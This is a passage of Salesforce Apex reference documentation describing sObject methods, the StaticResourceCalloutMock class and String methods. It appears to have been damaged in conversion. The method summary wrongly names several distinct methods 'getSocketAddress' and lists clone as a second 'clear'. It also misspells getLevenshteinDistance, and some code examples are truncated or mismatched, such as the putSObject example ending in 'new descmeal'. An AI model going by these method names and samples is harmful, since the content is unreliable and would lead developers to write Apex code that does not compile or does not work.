sObject methods are all instance methods, that is, they are called by and operate on a particular instance of an sObject, such as an account or contact. The following are the instance methods for sObjects.

For more information on sObjects, see sObject Types on page 112.

SObject Methods

The following are methods for sObject. All are instance methods.

IN THIS SECTION:

addError(errorMsg)
Marks a record with a custom error message and prevents any DML operation from occurring.

addError(errorMsg, escape)
Marks a record with a custom error message, specifies whether or not the error message should be escaped, and prevents any DML operation from occurring.

addError(exceptionError)
Marks a record with a custom exception error message and prevents any DML operation from occurring.

addError(exceptionError, escape)
Marks a record with a custom exception error message, specifies whether or not the exception error message should be escaped, and prevents any DML operation from occurring.

addError(errorMsg)
Places the specified error message on the field in the Salesforce user interface and prevents any DML operation from occurring.

addError(errorMsg, escape)
Places the specified error message, which can be escaped or unescaped, on the field in the Salesforce user interface, and prevents any DML operation from occurring.

clear()
Clears all field values

clear(preserveId, isDeepClone, preserveReadonlyTimestamps, preserveAutonumber)
Creates a copy of the sObject record.

get(field)
Returns the value for the field specified by fieldName, such as AccountNumber.

get(field)
Returns the value for the field specified by the field token Schema.sObjectField, such as, Schema.Account.AccountNumber.
getCloneSourceId()
Returns the ID of the entity from which an object was cloned. You can use it for objects cloned through the Salesforce user interface.
If you don't use a preserveId parameter, or if you use a preserveId value of false, you can also use it for objects created using the System.SObject.clone(preserveId, isDeepClone, preserveReadonlyTimestamps, preserveAutonumber) method.

getOptions()
Returns the database.DMLOptions object for the sObject.

getSocketAddress(fieldName)
Returns the value for the specified field. This method is primarily used with dynamic DML to access values for external IDs.

getSocketAddress(fieldId)
Returns the value for the field specified by the field token Schema.\texttt{fieldName}, such as, Schema.MyObj.MyExternalId. This method is primarily used with dynamic DML to access values for external IDs.

getSocketAddress(fieldName)
Returns the values for the specified field. This method is primarily used with dynamic DML to access values for associated objects, such as child relationships.

getSocketAddress(fieldId)
Returns the value for the field specified by the field token Schema.\texttt{fieldName}, such as, Schema.Account.Contact. This method is primarily used with dynamic DML to access values for associated objects, such as child relationships.

getSocketAddress()
Returns the token for this sObject. This method is primarily used with describe information.

getSocketAddress()
Retrieves the name of a quick action associated with this sObject. Typically used in triggers.

isClone()
Returns true if an entity is cloned from something, even if the entity hasn't been saved.

put(fieldName, value)
Sets the value for the specified field and returns the previous value for the field.

calculateFormulas()
Recalculates all formula fields on an sObject, and sets updated field values. Rather than inserting or updating objects each time you want to test changes to your formula logic, call this method and inspect your new field values. Then make further logic changes as needed.

setOptions(DMLOptions)
Sets the DMLOptions object for the sObject.
addError(errorMsg)
Marks a record with a custom error message and prevents any DML operation from occurring.

Signature
public Void addError(String errorMsg)

Parameters
errorMsg
  Type: String
  The error message to mark the record with.

Return Value
Type: Void

Usage
When used on Trigger.new in before insert and before update triggers, and on Trigger.old in before delete triggers, the error message is displayed in the application interface.

See Triggers and Trigger Exceptions.

Note: This method escapes any HTML markup in the specified error message. The escaped characters are: \n, <, >, &", \, \u2028, \u2029, and \u00a9. This results in the HTML markup not being rendered; instead it is displayed as text in the Salesforce user interface.

When used in Visualforce controllers, the generated message is added to the collection of errors for the page. For more information, see Validation Rules and Standard Controllers in the Visualforce Developer's Guide.

Example
Trigger.new[0].addError('bad');

addError(errorMsg, escape)
Marks a record with a custom error message, specifies whether or not the error message should be escaped, and prevents any DML operation from occurring.

Signature
public Void addError(String errorMsg, Boolean escape)

Parameters
errorMsg
  Type: String
  The error message to mark the record with.
**escape**  
Type: **Boolean**  
Indicates whether any HTML markup in the custom error message should be escaped (**true**) or not (**false**).

**Return Value**  
Type: Void

**Usage**  
The escaped characters are: \n, <, >, &, \, \u2028, \u2029, and \u00a9. This results in the HTML markup not being rendered; instead it is displayed as text in the Salesforce user interface.

⚠️ **Warning:** Be cautious if you specify **false** for the **escape** argument. Unescaped strings displayed in the Salesforce user interface can represent a vulnerability in the system because these strings might contain harmful code. If you want to include HTML markup in the error message, call this method with a **false** **escape** argument and make sure you escape any dynamic content, such as input field values. Otherwise, specify **true** for the **escape** argument or call `addError(String errorMsg)` instead.

**Example**

```
Trigger.new[0].addError('Fix & resubmit', false);
```

### addError(exceptionError)
Marks a record with a custom error message and prevents any DML operation from occurring.

**Signature**
```
public Void addError(Exception exceptionError)
```

**Parameters**

- **exceptionError**  
  Type: **System.Exception**  
  An Exception object or a custom exception object that contains the error message to mark the record with.

**Return Value**  
Type: Void

**Usage**  
When used on `Trigger.new` in before **insert** and before **update** triggers, and on `Trigger.old` in before **delete** triggers, the error message is displayed in the application interface.

See **Triggers** and **Trigger Exceptions**.
**Note:** This method escapes any HTML markup in the specified error message. The escaped characters are: \n, <, >, &, \, \u2028, \u2029, and \u00a9. This results in the HTML markup not being rendered; instead it is displayed as text in the Salesforce user interface.

When used in Visualforce controllers, the generated message is added to the collection of errors for the page. For more information, see Validation Rules and Standard Controllers in the Visualforce Developer's Guide.

**Example**

```java
public class MyException extends Exception {
}
Trigger.new[0].addError(new myException('Invalid Id'));
```

**addError(exceptionError, escape)**

Marks a record with a custom exception error message, specifies whether or not the exception error message should be escaped, and prevents any DML operation from occurring.

**Signature**

```java
public Void addError(Exception exceptionError, Boolean escape)
```

**Parameters**

- **exceptionError**
  
  Type: System.Exception
  
  An Exception object or a custom exception object that contains the error message to mark the record with.

- **escape**
  
  Type: Boolean
  
  Indicates whether any HTML markup in the custom error message should be escaped (true) or not (false).

**Return Value**

Type: Void

**Usage**

The escaped characters are: \n, <, >, &, \, \u2028, \u2029, and \u00a9. This results in the HTML markup not being rendered; instead it is displayed as text in the Salesforce user interface.

**Warning:** Be cautious if you specify false for the escape argument. Unescaped strings displayed in the Salesforce user interface can represent a vulnerability in the system because these strings might contain harmful code. If you want to include HTML markup in the error message, call this method with a false escape argument and make sure you escape any dynamic content, such as input field values. Otherwise, specify true for the escape argument or call addError(Exception e) instead.

**Example**

```java
public class MyException extends Exception {
}
Trigger.new[0].addError(new myException('Invalid Id & other issues', false));
```
addError(errorMsg)
Places the specified error message on the field in the Salesforce user interface and prevents any DML operation from occurring.

Signature
public Void addError(String errorMsg)

Parameters
errorMsg
Type: String

Return Value
Type: Void

Usage
Note:
• When used on Trigger.new in before insert and before update triggers, and on Trigger.old in before delete triggers, the error appears in the application interface.
• When used in Visualforce controllers, if there is an inputField component bound to field, the message is attached to the component. For more information, see Validation Rules and Standard Controllers in the Visualforce Developer’s Guide.
• This method is highly specialized because the field identifier is not actually the invoking object—the sObject record is the invoker. The field is simply used to identify the field that should be used to display the error.
• This method will likely change in future versions of Apex.

See Triggers and Trigger Exceptions.

Note: This method escapes any HTML markup in the specified error message. The escaped characters are: \n, <, >, &,' , \u2028, \u2029, and \u00a9. This results in the HTML markup not being rendered; instead it is displayed as text in the Salesforce user interface.

Example
Trigger.new[0].myField__c.addError('bad');

addError(errorMsg, escape)
Places the specified error message, which can be escaped or unescaped, on the field in the Salesforce user interface, and prevents any DML operation from occurring.

Signature
public Void addError(String errorMsg, Boolean escape)

Parameters
errorMsg
Type: String
The error message to mark the record with.

**escape**
Type: Boolean
Indicates whether any HTML markup in the custom error message should be escaped (**true**) or not (**false**).

**Return Value**
Type:

**Usage**
The escaped characters are: `\n`, `<`, `&`, `", `\`, `\u2028`, `\u2029`, and `©`. This results in the HTML markup not being rendered; instead it is displayed as text in the Salesforce user interface.

**Warning:** Be cautious if you specify **false** for the **escape** argument. Unescaped strings displayed in the Salesforce user interface can represent a vulnerability in the system because these strings might contain harmful code. If you want to include HTML markup in the error message, call this method with a **false** **escape** argument and make sure you escape any dynamic content, such as input field values. Otherwise, specify **true** for the **escape** argument or call `field.addError(String errorMsg)` instead.

**Example**

```java
Trigger.new[0].myField__c.addError('Fix & resubmit', false);
```

**clear()**
Clears all field values

**Signature**

```java
public Void clear()
```

**Return Value**
Type: Void

**Example**

```java
Account acc = new account(Name = 'Acme');
acc.clear();
Account expected = new Account();
system.assertEquals(expected, acc);
```

**clone(preserveId, isDeepClone, preserveReadonlyTimestamps, preserveAutonumber)**
Creates a copy of the sObject record.
public sObject clone(Boolean preserveId, Boolean isDeepClone, Boolean preserveReadonlyTimestamps, Boolean preserveAutonumber)

Parameters

preserveId
Type: Boolean
(Optional) Determines whether the ID of the original object is preserved or cleared in the duplicate. If set to true, the ID is copied to the duplicate. The default is false, that is, the ID is cleared.

isDeepClone
Type: Boolean
(Optional) Determines whether the method creates a full copy of the sObject field or just a reference:
- If set to true, the method creates a full copy of the sObject. All fields on the sObject are duplicated in memory, including relationship fields. Consequently, if you make changes to a field on the cloned sObject, the original sObject is not affected.
- If set to false, the method performs a shallow copy of the sObject fields. All copied relationship fields reference the original sObjects. Consequently, if you make changes to a relationship field on the cloned sObject, the corresponding field on the original sObject is also affected, and vice versa. The default is false.

preserveReadonlyTimestamps
Type: Boolean
(Optional) Determines whether the read-only timestamp fields are preserved or cleared in the duplicate. If set to true, the read-only fields CreatedById, CreatedDate, LastModifiedById, and LastModifiedDate are copied to the duplicate. The default is false, that is, the values are cleared.

preserveAutonumber
Type: Boolean
(Optional) Determines whether auto number fields of the original object are preserved or cleared in the duplicate. If set to true, auto number fields are copied to the cloned object. The default is false, that is, auto number fields are cleared.

Return Value
Type: sObject (of same type)

Usage

Note: For Apex saved using SalesforceAPI version 22.0 or earlier, the default value for the preserveId argument is true, that is, the ID is preserved.

Example

Account acc = new account(Name = 'Acme', Description = 'Acme Account');
Account clonedAcc = acc.clone(false, false, false, false);
System.assertEquals(acc, clonedAcc);

get(fieldName)
Returns the value for the field specified by fieldName, such as AccountNumber.
Signature

```java
public Object get(String fieldName)
```

Parameters

```
fieldName
    Type: String
```

Return Value

Type: Object

Usage

For more information, see Dynamic SOQL.

Example

```java
Account acc = new account(Name = 'Acme', Description = 'Acme Account');
String description = (String)acc.get('Description');
System.assertEquals('Acme Account', description);
```

**get(field)**

Returns the value for the field specified by the field token `Schema.sObjectField`, such as, `Schema.Account.AccountNumber`.

Signature

```java
public Object get(Schema.sObjectField field)
```

Parameters

```
field
    Type: Schema.sObjectField
```

Return Value

Type: Object

Usage

For more information, see Dynamic SOQL.

Example

```java
Account acc = new account(Name = 'Acme', Description = 'Acme Account');
String description = (String)acc.get(Schema.Account.Description);
System.assertEquals('Acme Account', description);
```
**getCloneSourceId()**

Returns the ID of the entity from which an object was cloned. You can use it for objects cloned through the Salesforce user interface. If you don’t use a `preserveId` parameter, or if you use a `preserveId` value of `false`, you can also use it for objects created using the `System.SObject.clone(preserveId, isDeepClone, preserveReadonlyTimestamps, preserveAutonumber)` method.

**Signature**

```java
public Id getCloneSourceId()
```

**Return Value**

Type: `Id`

**Usage**

If A is cloned to B, B is cloned to C, and C is cloned to D, then B, C, and D all point back to A as their clone source.

**Example**

```java
Account acc0 = new Account(Name = 'Acme');
insert acc0;
Account acc1 = acc0.clone();
Account acc2 = acc1.clone();
Account acc3 = acc2.clone();
Account acc4 = acc3.clone();
System.assert(acc0.Id != null);
System.assertEquals(acc0.Id, acc1.getCloneSourceId());
System.assertEquals(acc0.Id, acc2.getCloneSourceId());
System.assertEquals(acc0.Id, acc3.getCloneSourceId());
System.assertEquals(acc0.Id, acc4.getCloneSourceId());
System.assertEquals(null, acc0.getCloneSourceId());
```

**getOptions()**

Returns the database.DMLOptions object for the sObject.

**Signature**

```java
public Database.DMLOptions getOptions()
```

**Return Value**

Type: `Database.DMLOptions`

**Example**

```java
Database.DMLOptions dmo = new Database.dmlOptions();
dmo.assignmentRuleHeader.useDefaultRule = true;
Account acc = new Account(Name = 'Acme');
```
acc.setOptions(dmo);
Database.DMLOptions accDmo = acc.getOptions();

**getSObject(fieldName)**

Returns the value for the specified field. This method is primarily used with dynamic DML to access values for external IDs.

**Signature**

```java
public sObject getSObject(String fieldName)
```

**Parameters**

*fieldName*

Type: `String`

**Return Value**

Type: `sObject`

**Example**

```java
Account acc = new account(Name = 'Acme', Description = 'Acme Account');
insert acc;
Contact con = new Contact(Lastname = 'AcmeCon', AccountId = acc.id);
insert con;
SObject contactDB =
    (SELECT Id, AccountId, Account.Name FROM Contact WHERE id = :con.id LIMIT 1);
Account a = (Account)contactDB.getSObject('Account');
System.assertEquals('Acme', a.name);
```

**getSObject(fieldName)**

Returns the value for the field specified by the field token `Schema.fieldName`, such as, `Schema.MyObj.MyExternalId`. This method is primarily used with dynamic DML to access values for external IDs.

**Signature**

```java
public sObject getSObject(Schema.SObjectField fieldName)
```

**Parameters**

*fieldName*

Type: `Schema.SObjectField`

**Return Value**

Type: `sObject`
getSObjects(fieldName)

Returns the values for the specified field. This method is primarily used with dynamic DML to access values for associated objects, such as child relationships.

Signature

public sObject[] getSObjects(String fieldName)

Parameters

fieldName
Type: String

Return Value

Type: sObject[]

Usage

For more information, see Dynamic DML.

Example

Account acc = new account(name = 'Acme', description = 'Acme Account');
insert acc;
Contact con = new contact(lastname = 'AcmeCon', accountid = acc.id);
insert con;

Schema.DescribeFieldResult fieldResult = Contact.AccountId.getDescribe();
Schema.SObjectField field = fieldResult.getSobjectField();

SObject contactDB =
(SELECT Id, AccountId, Account.Name FROM Contact WHERE id = :con.id LIMIT 1);
Account a = (Account)contactDB.getSObject(field);
System.assertEquals('Acme', a.name);

Account acc = new account(name = 'Acme', description = 'Acme Account');
insert acc;
Contact con = new contact(lastname = 'AcmeCon', accountid = acc.id);
insert con;

SObject[] contactsDB = a.get(0).getSObjects('Contacts');
String fieldValue = (String)contactsDB.get(0).get('Name');
System.assertEquals('AcmeCon', fieldValue);

Account acc = new account(name = 'Acme', description = 'Acme Account');
insert acc;
Contact con = new contact(lastname = 'AcmeCon', accountid = acc.id);
insert con;

SObject[] a = [SELECT id, (SELECT Name FROM Contacts LIMIT 1) FROM Account WHERE id = :acc.id];
SObject[] contactsDB = a.get(0).getSObjects('Contacts');
String fieldValue = (String)contactsDB.get(0).get('Name');
System.assertEquals('AcmeCon', fieldValue);
**getSObjects** *(fieldName)*

Returns the value for the field specified by the field token `Schema.fieldName`, such as, `Schema.Account.Contact`. This method is primarily used with dynamic DML to access values for associated objects, such as child relationships.

**Signature**

```
public sObject[] getSObjects(Schema.SObjectType fieldName)
```

**Parameters**

*fieldName*

Type: `Schema.SObjectType`

**Return Value**

Type: `sObject[]`

---

**getSObjectType** ()

Returns the token for this sObject. This method is primarily used with describe information.

**Signature**

```
public Schema.SObjectType getSObjectType()
```

**Return Value**

Type: `Schema.SObjectType`

---

**Usage**

For more information, see Understanding Apex Describe Information.

---

**Example**

```java
Account acc = new Account(name = 'Acme', description = 'Acme Account');
Schema.sObjectType expected = Schema.Account.getSObjectType();
System.assertEquals(expected, acc.getSobjectType());
```

---

**getQuickActionName** ()

Retrieves the name of a quick action associated with this sObject. Typically used in triggers.

**Signature**

```
public String getQuickActionName()
```

**Return Value**

Type: `String`
Example

```java
trigger accTrig2 on Contact (before insert) {
    for (Contact c : Trigger.new) {
        if (c.getQuickActionName() == QuickAction.CreateContact) {
            c.WhereFrom__c = 'GlobaAction1';
        } else if (c.getQuickActionName() == Schema.Account.QuickAction.CreateContact) {
            c.WhereFrom__c = 'AccountAction';
        } else if (c.getQuickActionName() == null) {
            c.WhereFrom__c = 'NoAction';
        } else {
            System.assert(false);
        }
    }
}
```

isClone()

Returns true if an entity is cloned from something, even if the entity hasn’t been saved.

Signature

```java
public Boolean isClone()
```

Return Value

Type: Boolean

Example

```java
Account acc = new Account(Name = 'Acme');
insert acc;
Account acc2 = acc.clone();
// Test before saving
System.assertEquals(true, acc2.isClone());
insert acc2;
// Test after saving
System.assertEquals(true, acc2.isClone());
```

put(fieldName, value)

Sets the value for the specified field and returns the previous value for the field.

Signature

```java
public Object put(String fieldName, Object value)
```

Parameters

fieldName
  Type: String
value
Type: Object

Return Value
Type: Object

Example
```java
Account acc = new Account(name = 'test', description = 'old desc');
String oldDesc = (String)acc.put('description', 'new desc');
System.assertEquals('old desc', oldDesc);
System.assertEquals('new desc', acc.description);
```

**put(fieldName, value)**

Sets the value for the field specified by the field token `Schema.sObjectField` such as, `Schema.Account.AccountNumber` and returns the previous value for the field.

Signature
```
public Object put(Schema.SObjectField fieldName, Object value)
```

Parameters

* fieldName
  Type: `Schema.SObjectField`

* value
  Type: Object

Return Value
Type: Object

Example
```java
Account acc = new Account(name = 'test', description = 'old desc');
String oldDesc = (String)acc.put(Schema.Account.Description, 'new desc');
System.assertEquals('old desc', oldDesc);
System.assertEquals('new desc', acc.description);
```

**putSObject(fieldName, value)**

Sets the value for the specified field. This method is primarily used with dynamic DML for setting external IDs. The method returns the previous value of the field.

Signature
```
public sObject putSObject(String fieldName, sObject value)
```

Example
```java
Account acc = new Account(name = 'test', description = 'old desc');
String oldDesc = (String)acc.putSObject(Schema.Account.Description, new descmeal
System.assertEquals('old desc', oldDesc);
System.assertEquals('new desc', acc.description);
```

**putSObject(fieldName, value)**

Sets the value for the specified field. This method is primarily used with dynamic DML for setting external IDs. The method returns the previous value of the field.

Signature
```
public sObject putSObject(String fieldName, sObject value)
```
Parameters

fieldName
  Type: String
value
  Type: sObject

Return Value
Type: sObject

Example

Account acc = new Account(name = 'Acme', description = 'Acme Account');
insert acc;
Contact con = new contact(lastname = 'AcmeCon', accountid = acc.id);
insert con;
Account acc2 = new account(name = 'Not Acme');

Contact contactDB =
    (Contact)[SELECT Id, AccountId, Account.Name FROM Contact WHERE id = :con.id LIMIT 1];
Account a = (Account)contactDB.putSObject('Account', acc2);
System.assertEquals('Acme', a.name);
System.assertEquals('Not Acme', contactDB.Account.name);

putSObject(fieldName, value)
Sets the value for the field specified by the token Schema.sObjectType. This method is primarily used with dynamic DML for setting external IDs. The method returns the previous value of the field.

Signature

public sObject putSObject(Schema.sObjectType fieldName, sObject value)

Parameters

fieldName
  Type: Schema.SObjectType
value
  Type: sObject

Return Value
Type: sObject

reCalculateFormulas()
Recalculates all formula fields on an sObject, and sets updated field values. Rather than inserting or updating objects each time you want to test changes to your formula logic, call this method and inspect your new field values. Then make further logic changes as needed.
Signature

```java
public Void recalculateFormulas()
```

Return Value
Type: Void

Usage
This method doesn't recalculate cross-object formulas. If you call this method on objects that have both cross-object and non-cross-object formula fields, only the non-cross-object formula fields are recalculated.

SEE ALSO:
- What Are Cross-Object Formulas?

```java
setOptions(DMLOptions)
```

Sets the DMLOptions object for the sObject.

Signature

```java
public Void setOptions(database.DMLOptions DMLOptions)
```

Parameters

- **DMLOptions**
  Type: `Database.DMLOptions`

Return Value
Type: Void

Example

```java
Database.DMLOptions dmo = new Database.dmlOptions();
dmo.assignmentRuleHeader.useDefaultRule = true;

Account acc = new Account(Name = 'Acme');
acc.setOptions(dmo);
```

**StaticResourceCalloutMock Class**

Utility class used to specify a fake response for testing HTTP callouts.

**Namespace**

`System`
Usage

Use the methods in this class to set the response properties for testing HTTP callouts.

IN THIS SECTION:
- StaticResourceCalloutMock Constructors
- StaticResourceCalloutMock Methods

StaticResourceCalloutMock Constructors

The following are constructors for StaticResourceCalloutMock.

IN THIS SECTION:
- StaticResourceCalloutMock()

StaticResourceCalloutMock() Creates a new instance of the StaticResourceCalloutMock class.

Signature

public static StaticResourceCalloutMock()
**Parameters**

- **headerName**
  Type: String
- **headerValue**
  Type: String

**Return Value**

Type: Void

**setStaticResource(resourceName)**

Sets the specified static resource, which contains the response body.

**Signature**

```java
public Void setStaticResource(String resourceName)
```

**Parameters**

- **resourceName**
  Type: String

**Return Value**

Type: Void

**setStatus(httpStatus)**

Sets the specified HTTP status for the response.

**Signature**

```java
public Void setStatus(String httpStatus)
```

**Parameters**

- **httpStatus**
  Type: String

**Return Value**

Type: Void

**setStatusCode(httpStatusCode)**

Sets the specified HTTP status for the response.
Signature

`public Void setStatusCode(Integer httpStatusCode)`

Parameters

`httpStatusCode`
- Type: Integer

Return Value

Type: Void

String Class

Contains methods for the String primitive data type.

Namespace

`System`

Usage

For more information on Strings, see Primitive Data Types on page 27.

String Methods

The following are methods for `String`.

IN THIS SECTION:

- `abbreviate(maxWidth)`
  Returns an abbreviated version of the String, of the specified length and with ellipses appended if the current String is longer than the specified length; otherwise, returns the original String without ellipses.

- `abbreviate(maxWidth, offset)`
  Returns an abbreviated version of the String, starting at the specified character offset and of the specified length. The returned String has ellipses appended at the start and the end if characters have been removed at these locations.

- `capitalize()`
  Returns the current String with the first letter changed to title case.

- `center(size)`
  Returns a version of the current String of the specified size padded with spaces on the left and right, so that it appears in the center. If the specified size is smaller than the current String size, the entire String is returned without added spaces.

- `center(size, paddingString)`
  Returns a version of the current String of the specified size padded with the specified String on the left and right, so that it appears in the center. If the specified size is smaller than the current String size, the entire String is returned without padding.

- `charAt(index)`
  Returns the value of the character at the specified index.
**codePointAt(index)**
Returns the Unicode code point value at the specified index.

**codePointBefore(index)**
Returns the Unicode code point value that occurs before the specified index.

**codePointCount(beginIndex, endIndex)**
Returns the number of Unicode code points within the specified text range.

**compareTo(secondString)**
Compares two strings lexicographically, based on the Unicode value of each character in the Strings.

**contains(substring)**
Returns `true` if and only if the String that called the method contains the specified sequence of characters in `substring`.

**containsAny(inputString)**
Returns `true` if the current String contains any of the characters in the specified String; otherwise, returns `false`.

**containsIgnoreCase(substring)**
Returns `true` if the current String contains the specified sequence of characters without regard to case; otherwise, returns `false`.

**containsNone(substring)**
Returns `true` if the current String doesn’t contain the specified sequence of characters; otherwise, returns `false`.

**containsOnly(inputString)**
Returns `true` if the current String contains characters only from the specified sequence of characters and not any other characters; otherwise, returns `false`.

**containsWhitespace()**
Returns `true` if the current String contains any white space characters; otherwise, returns `false`.

**countMatches(substring)**
Returns the number of times the specified substring occurs in the current String.

**deleteWhitespace()**
Returns a version of the current String with all white space characters removed.

**difference(secondString)**
Returns the difference between the current String and the specified String.

**endsWith(suffix)**
Returns `true` if the String that called the method ends with the specified `suffix`.

**endsWithIgnoreCase(suffix)**
Returns `true` if the current String ends with the specified suffix; otherwise, returns `false`.

**equals(secondString)**
Deprecated. This method is replaced by `equals(stringOrId)`. Returns `true` if the passed-in string is not null and represents the same binary sequence of characters as the current string. Use this method to perform case-sensitive comparisons.

**equals(stringOrId)**
Returns `true` if the passed-in object is not null and represents the same binary sequence of characters as the current string. Use this method to compare a string to an object that represents a string or an ID.

**equalsIgnoreCase(secondString)**
Returns `true` if the `secondString` is not null and represents the same sequence of characters as the String that called the method, ignoring case.
escapeCsv()  
Returns a String for a CSV column enclosed in double quotes, if required.

escapeEcmaScript()  
Escapes the characters in the String using EcmaScript String rules.

escapeHtml3()  
Escapes the characters in a String using HTML 3.0 entities.

escapeHtml4()  
Escapes the characters in a String using HTML 4.0 entities.

escapeJava()  
Returns a String whose characters are escaped using Java String rules. Characters escaped include quotes and control characters, such as tab, backslash, and carriage return characters.

escapeSingleQuotes(stringToEscape)  
Returns a String with the escape character (\) added before any single quotation marks in the String s.

escapeUnicode()  
Returns a String whose Unicode characters are escaped to a Unicode escape sequence.

escapeXml()  
Escapes the characters in a String using XML entities.

format(stringToFormat, formattingArguments)  
Treat the current string as a pattern that should be used for substitution in the same manner as apex:outputText.

fromCharArray(charArray)  
Returns a String from the values of the list of integers.

getChars()  
Returns an array of character values that represent the characters in this string.

getCommonPrefix(strings)  
Returns the initial sequence of characters as a String that is common to all the specified Strings.

gtLevenshteinDistance(stringToCompare)  
Returns the Levenshtein distance between the current String and the specified String.

gtLevenshteinDistance(stringToCompare, threshold)  
Returns the Levenshtein distance between the current String and the specified String if it is less than or equal than the given threshold; otherwise, returns -1.

hashCode()  
Returns a hash code value for this string.

indexOf(substring)  
Returns the index of the first occurrence of the specified substring. If the substring does not occur, this method returns -1.

indexOf(substring, index)  
Returns the zero-based index of the first occurrence of the specified substring from the point of the given index. If the substring does not occur, this method returns -1.

indexOfAny(substring)  
Returns the zero-based index of the first occurrence of any character specified in the substring. If none of the characters occur, returns -1.
indexOfAnyBut(substring)
Returns the zero-based index of the first occurrence of a character that is not in the specified substring. Otherwise, returns -1.

indexOfChar(character)
Returns the index of the first occurrence of the character that corresponds to the specified character value.

indexOfChar(character, startIndex)
Returns the index of the first occurrence of the character that corresponds to the specified character value, starting from the specified index.

indexOfDifference(stringToCompare)
Returns the zero-based index of the character where the current String begins to differ from the specified String.

indexOfIgnoreCase(substring)
Returns the zero-based index of the first occurrence of the specified substring without regard to case. If the substring does not occur, this method returns -1.

indexOfIgnoreCase(substring, startPosition)
Returns the zero-based index of the first occurrence of the specified substring from the point of index \( i \), without regard to case. If the substring does not occur, this method returns -1.

isAllLowerCase()
Returns true if all characters in the current String are lowercase; otherwise, returns false.

isAllUpperCase()
Returns true if all characters in the current String are uppercase; otherwise, returns false.

isAlpha()
Returns true if all characters in the current String are Unicode letters only; otherwise, returns false.

isAlphaSpace()
Returns true if all characters in the current String are Unicode letters or spaces only; otherwise, returns false.

isAlphanumeric()
Returns true if all characters in the current String are Unicode letters or numbers only; otherwise, returns false.

isAlphanumericSpace()
Returns true if all characters in the current String are Unicode letters, numbers, or spaces only; otherwise, returns false.

isAsciiPrintable()
Returns true if the current String contains only ASCII printable characters; otherwise, returns false.

isBlank(inputString)
Returns true if the specified String is white space, empty (""), or null; otherwise, returns false.

isEmpty(inputString)
Returns true if the specified String is empty ("") or null; otherwise, returns false.

isNotBlank(inputString)
Returns true if the specified String is not whitespace, not empty (""), and not null; otherwise, returns false.

isNotEmpty(inputString)
Returns true if the specified String is not empty ("") and not null; otherwise, returns false.

isNumeric()
Returns true if the current String contains only Unicode digits; otherwise, returns false.

isNumericSpace()
Returns true if the current String contains only Unicode digits or spaces; otherwise, returns false.
isWhitespace())
Returns true if the current String contains only white space characters or is empty; otherwise, returns false.
join(iterableObj, separator)
Joins the elements of the specified iterable object, such as a List, into a single String separated by the specified separator.
lastIndexOf(substring)
Returns the index of the last occurrence of the specified substring. If the substring does not occur, this method returns -1.
lastIndexOf(substring, endPosition)
Returns the index of the last occurrence of the specified substring, starting from the character at index 0 and ending at the specified index.
indexOfChar(character)
Returns the index of the last occurrence of the character that corresponds to the specified character value.
lastIndexOfChar(character, endIndex)
Returns the index of the last occurrence of the character that corresponds to the specified character value, starting from the specified index.
lastIndexOfIgnoreCase(substring)
Returns the index of the last occurrence of the specified substring regardless of case.
lastIndexOfIgnoreCase(substring, endPosition)
Returns the index of the last occurrence of the specified substring regardless of case, starting from the character at index 0 and ending at the specified index.
left(length)
Returns the leftmost characters of the current String of the specified length.
leftPad(length)
Returns the current String padded with spaces on the left and of the specified length.
length()
Returns the number of 16-bit Unicode characters contained in the String.
mid(startIndex, length)
Returns a new String that begins with the character at the specified zero-based startIndex with the number of characters specified by length.
normalizeSpace()
Returns the current String with leading, trailing, and repeating white space characters removed.
offsetByCodePoints(index, codePointOffset)
Returns the index of the Unicode code point that is offset by the specified number of code points, starting from the given index.
remove(substring)
Removes all occurrences of the specified substring and returns the String result.
removeEnd(substring)
Removes the specified substring only if it occurs at the end of the String.
removeEndIgnoreCase(substring)
Removes the specified substring only if it occurs at the end of the String using a case-insensitive match.
removeStart(substring)
Removes the specified substring only if it occurs at the beginning of the String.
removeStartIgnoreCase(substring)
Removes the specified substring only if it occurs at the beginning of the String using a case-insensitive match.

repeat(numberOfTimes)
Returns the current String repeated the specified number of times.

repeat(separator, numberOfTimes)
Returns the current String repeated the specified number of times using the specified separator to separate the repeated Strings.

replace(target, replacement)
Replaces each substring of a string that matches the literal target sequence target with the specified literal replacement sequence replacement.

replaceAll(regExp, replacement)
Replaces each substring of a string that matches the regular expression regExp with the replacement sequence replacement.

replaceFirst(regExp, replacement)
Replaces the first substring of a string that matches the regular expression regExp with the replacement sequence replacement.

reverse()
Returns a String with all the characters reversed.

right(length)
Returns the rightmost characters of the current String of the specified length.

rightPad(length)
Returns the current String padded with spaces on the right and of the specified length.

split(regExp)
Returns a list that contains each substring of the String that is terminated by either the regular expression regExp or the end of the String.

split(regExp, limit)
Returns a list that contains each substring of the String that is terminated by either the regular expression regExp or the end of the String.

splitByCharacterType()
Splits the current String by character type and returns a list of contiguous character groups of the same type as complete tokens.

splitByCharacterTypeCamelCase()
Splits the current String by character type and returns a list of contiguous character groups of the same type as complete tokens, with the following exception: the uppercase character, if any, immediately preceding a lowercase character token belongs to the following character token rather than to the preceding.

startsWith(prefix)
Returns true if the String that called the method begins with the specified prefix.

startsWithIgnoreCase(prefix)
Returns true if the current String begins with the specified prefix regardless of the prefix case.

stripHtmlTags(htmlInput)
Removes HTML markup from the input string and returns the plain text.

substring(startIndex)
Returns a new String that begins with the character at the specified zero-based startIndex and extends to the end of the String.
substring(startIndex, endIndex)
Returns a new String that begins with the character at the specified zero-based startIndex and extends to the character at endIndex - 1.

substringAfter(separator)
Returns the substring that occurs after the first occurrence of the specified separator.

substringAfterLast(separator)
Returns the substring that occurs after the last occurrence of the specified separator.

substringBefore(separator)
Returns the substring that occurs before the first occurrence of the specified separator.

substringBeforeLast(separator)
Returns the substring that occurs before the last occurrence of the specified separator.

substringBetween(tag)
Returns the substring that occurs between two instances of the specified tag String.

substringBetween(open, close)
Returns the substring that occurs between the two specified Strings.

swapCase()
Swaps the case of all characters and returns the resulting String by using the default (English US) locale.

toLowerCase()
Converts all of the characters in the String to lowercase using the rules of the default (English US) locale.

toLowerCase(locale)
Converts all of the characters in the String to lowercase using the rules of the specified locale.

toUpperCase()
Converts all of the characters in the String to uppercase using the rules of the default (English US) locale.

toUpperCase(locale)
Converts all of the characters in the String to the uppercase using the rules of the specified locale.

trim()
Returns a copy of the string that no longer contains any leading or trailing white space characters.

uncapitalize()
Returns the current String with the first letter in lowercase.

unescapeCsv()
Returns a String representing an unescaped CSV column.

unescapeEcmaScript()
Unescapes any EcmaScript literals found in the String.

unescapeHtml3()
unescapeHtml4()
Unescapes the characters in a String using HTML 3.0 entities.

unescapeJava()
Returns a String whose Java literals are unescaped. Literals unescaped include escape sequences for quotes (\") and control characters, such as tab (\t), and carriage return (\n).
unescapeUnicode()
